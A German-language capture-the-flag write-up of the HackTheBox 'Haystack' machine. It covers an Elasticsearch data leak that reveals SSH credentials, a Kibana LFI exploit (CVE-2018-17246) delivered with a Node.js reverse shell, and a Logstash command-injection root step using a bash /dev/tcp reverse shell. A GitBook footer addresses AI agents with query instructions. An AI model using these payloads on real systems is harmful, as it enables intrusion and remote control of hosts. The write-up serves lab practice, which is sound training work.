> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Haystack HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* Enumeration von ElasticSearch
* Informationsleck
* Kibana-Enumeration
* Ausnutzung von Kibana (CVE-2018-17246)
* Ausnutzung von Logstash (Privilegienerweiterung)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/71a14ac445dcd8834cbd0e83feefc42ca15d11c2" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/b6b67c4f525f22ba9b96135553ecd09df9859523" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="/files/b9f82bdd855752df1864c030620b97deb0704357" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (9200)

<figure><img src="/files/b3f03ebe8e8a3edd6a5388a9f3496332fd4568e5" alt="" width="563"><figcaption></figcaption></figure>

Versionsscan der Ports mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="/files/cf68f9a7229fdae70a93de64c2c23b965cc4db3c" alt=""><figcaption></figcaption></figure>

Um Domänennamen mittels DNS in IP-Adressen aufzulösen, tragen wir den mit der IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="/files/2ad6f595254c4e4d7b9e217e12779b1b07be3875" alt="" width="563"><figcaption></figcaption></figure>

## Analyse offengelegter Dienste

### Port 80 - Informationsleck

**Metadaten mit ExifTool extrahieren**

<figure><img src="/files/8c8a8051feeb927f1cb46787417378f9a840e5b8" alt="" width="563"><figcaption></figcaption></figure>

Durch die Analyse des auf dem Server gefundenen Bildes mit `strings`, entdecken wir eine base64-kodierte Zeichenkette:

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="/files/cc19f8f666fa8386855b0b180fa63d0911669935" alt=""><figcaption></figcaption></figure>

Nach dem Dekodieren enthüllt diese Zeichenkette die folgende Nachricht: *"die Nadel im Heuhaufen ist 'key'"*.

<figure><img src="/files/52912a93c648e61e83ee91dc7ab5933449f5d864" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - Informationsleck

#### Auf Port 9200 läuft ElasticSearch Version 6.4.2.

<figure><img src="/files/229587d5a0096aaea6d62fd8b2b928a33eeeff4d" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch ist eine Such- und Analyse-Engine in Echtzeit, die verwendet wird, um große Datenmengen schnell zu indexieren und zu durchsuchen. Sie integriert sich in den ELK-Stack, um erweiterte Funktionen zur Datenvisualisierung und Analyse bereitzustellen.
{% endhint %}

<figure><img src="/files/90607abbf6f54202008529931f3d0e5a152d4ad3" alt=""><figcaption></figcaption></figure>

Durch den Zugriff auf den `/_cat/indices?` URL erhalten wir eine Liste der Indizes mit ihren UUIDs. Um den Inhalt eines Index zu extrahieren, verwenden wir die folgende URL:

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="/files/5eb997be61326458944ea1b8cf02e0b4e2a4a622" alt=""><figcaption></figcaption></figure>

**Datenfilterung mit Curl**

Unter Verwendung des Index `quotes` und durch Filtern nach dem Challenge-Schlüsselwort werden relevante Informationen gefunden:

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="/files/bebc9a3010d5c3b4e93579f51420815762826217" alt=""><figcaption></figcaption></figure>

**Decodieren von Base64-kodierten Zeichenketten**

Wir erhalten zwei base64-kodierte Zeichenketten, die beim Dekodieren die identifizierenden Informationen offenbaren:

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="/files/92d88ed9f7e91bf2fc4a8d212e7c802561a39809" alt=""><figcaption></figcaption></figure>

**Benutzer:** `security`/ **Passwort:** `spanish.is.key`

### SSH-Verbindung

Mit den erhaltenen Zugangsdaten verbinden wir uns per SSH mit der Zielmaschine und greifen auf den Benutzer zu:

```bash
ssh security@10.10.10.115
```

<figure><img src="/files/5b675446841cf72828093e030375e4a65387c96f" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/427d951c0cfa0cc67034b060186987a2380c7168" alt="" width="520"><figcaption></figcaption></figure>

**Sobald Sie Zugriff auf den Linux-Server haben, sind hier die auszuführenden Befehle für die Terminalbearbeitung:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**Das wird dir ermöglichen, wesentlich effizienter und vor allem komfortabler zu arbeiten.**

## Privilegieneskalation :

### Kibana (Portweiterleitung)

**Schritt 1: Identifizieren offener Ports**

Zuerst betrachten wir die offenen Ports intern mit dem folgenden Befehl:

```bash
netstat -nltp
```

Uns fällt auf, dass der Port **5601** unsere Aufmerksamkeit erregt.

<figure><img src="/files/46487fbd849dd0833dfc6432c195aaf3dc7ab1af" alt=""><figcaption></figcaption></figure>

Durch eine `curl` Anfrage an diesen Port erhalten wir eine HTML-Seite von Kibana:

{% hint style="info" %}
**Kibana** ist eine sofort einsatzbereite Software für Datenvisualisierungs-Dashboards für Elasticsearch
{% endhint %}

<figure><img src="/files/f3b988f8a1c448f15e1eb782731ca9ac88b973c6" alt=""><figcaption></figcaption></figure>

**Schritt 2: Portweiterleitung für den Zugriff auf Kibana**

Wir leiten den internen Port des Servers **5601** auf unsere lokale Maschine um, um über unseren Browser darauf zuzugreifen. Diese Umleitung kann per SSH mit dem folgenden Befehl durchgeführt werden:

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

Dies leitet den lokalen Port 5601 der Zielmaschine auf Port 5601 unserer eigenen Maschine um und ermöglicht direkten Zugriff

<figure><img src="/files/5722bcee477d1d8751845469275bb39692af5183" alt=""><figcaption></figcaption></figure>

**Schritt 3: Kibana-Version überprüfen**

Durch den Zugriff auf `http://localhost:5601/api/status`, beobachten wir die Kibana-Versionsnummer: **6.4.2**. Diese Version ist anfällig für einen **Lokales Datei-Inkludieren (LFI)** Angriff, identifiziert als **CVE-2018-17246**.

<figure><img src="/files/4c1f2de0eaf2f74189de46b782fbb7d4bb083423" alt=""><figcaption></figcaption></figure>

### Ausnutzung von Kibana (CVE-2018-17246)

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Schritt 4: Die Schwachstelle ausnutzen**

Um diese Schwachstelle auszunutzen, werden wir eine JavaScript-Datei erstellen, um eine Reverse Shell zu erhalten. Im `/tmp` Verzeichnis der Zielmaschine erstellen wir eine Datei mit dem Namen `rev.js` mit folgendem Code:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Verhindert, dass die Node.js-Anwendung abstürzt
})();
</code></pre>

Dieses Skript stellt eine Verbindung mit deiner Maschine auf Port **443** her, um eine Shell zu öffnen.

**Schritt 5: Stream-Umleitung in eine Datei**

Leite dann den Stream in die `/dev/shm/rev.js` Datei mit dem folgenden Befehl um:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Schritt 6: Auf Port für Reverse Shell lauschen**

Starte auf deiner Maschine einen Listener auf Port **443** um die Reverse Shell abzufangen:

```bash
nc -nlvp 443
```

Sobald du angemeldet bist, hast du eine Shell auf der Zielmaschine und kannst eine Privilegienerweiterung durchführen.

<figure><img src="/files/faa1d92bc9f2b885bc66a4792409df10fd3426cd" alt=""><figcaption></figcaption></figure>

## Logstash ausnutzen

Wir suchen nach allen Dateien, auf die mit dem Benutzer zugegriffen werden kann `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="/files/bf45ee8d4c717856ef6b1727b57ca524d9a96594" alt="" width="563"><figcaption></figcaption></figure>

Beim Zugriff auf Logstash entdecken wir drei Konfigurationsdateien:

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="/files/a2b125eb2a35628868a3db2b98a2ec54b1871538" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
Zusammenfassend führt Logstash einen Cron-Job aus, der alle 10 Sekunden überprüft, ob eine Datei mit dem Namen `logstash_*` im `/opt/kibana/` Verzeichnis. Wenn eine passende Datei gefunden wird und einen Befehl mit einer bestimmten Eingabe enthält, in der Form:
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="/files/adb90da8b6544c8e0045dd7181703008b17df07d" alt=""><figcaption></figcaption></figure>

Um diese Schwachstelle auszunutzen, erstellen wir eine Datei mit dem Namen `logstash_exec` in `/opt/kibana/` Verzeichnis mit folgendem Inhalt erstellt:

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

Anschließend lauschen wir auf Port 4444 und erhalten Root-Zugriff.

<figure><img src="/files/e1f08e1bae0a1b39a156f865df9810bceb106b75" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="/files/3db6c708ec3b1c8a05a88b9c3dd220ea6f38db64" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/6e06e617818c8522bd1249985f4da096adf083d8" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
